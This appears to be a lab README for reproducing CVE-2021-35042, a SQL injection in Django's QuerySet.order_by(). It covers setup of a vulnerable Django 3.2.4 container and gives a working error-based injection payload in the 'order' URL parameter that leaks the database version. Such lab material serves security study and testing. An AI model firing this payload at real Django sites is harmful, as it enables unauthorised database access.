Django QuerySet.order_by() SQL Injection (CVE-2021-35042)

中文版本(Chinese version)

Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design.

Django released a security update on July 1, 2021, which fixes a SQL injection vulnerability in the QuerySet.order_by() function. This vulnerability affects Django versions before 3.2.5, 3.1.13.

The vulnerability can be exploited when a user has control over the input passed to the order_by() function, allowing for SQL injection at the expected column position.

References:

Environment Setup

Execute the following command to compile and start a vulnerable Django 3.2.4 server:

docker compose build
docker compose up -d

After the server is started, you can access the Django home page at http://your-ip:8000.

Vulnerability Reproduction

First, visit http://your-ip:8000/vuln/ and add the parameter order=-id to see the data sorted by ID in descending order:

To exploit the SQL injection vulnerability, modify the order parameter with the following payload, where vuln_collection is the model name:

http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

The SQL error message will be displayed, revealing database information through the error-based SQL injection: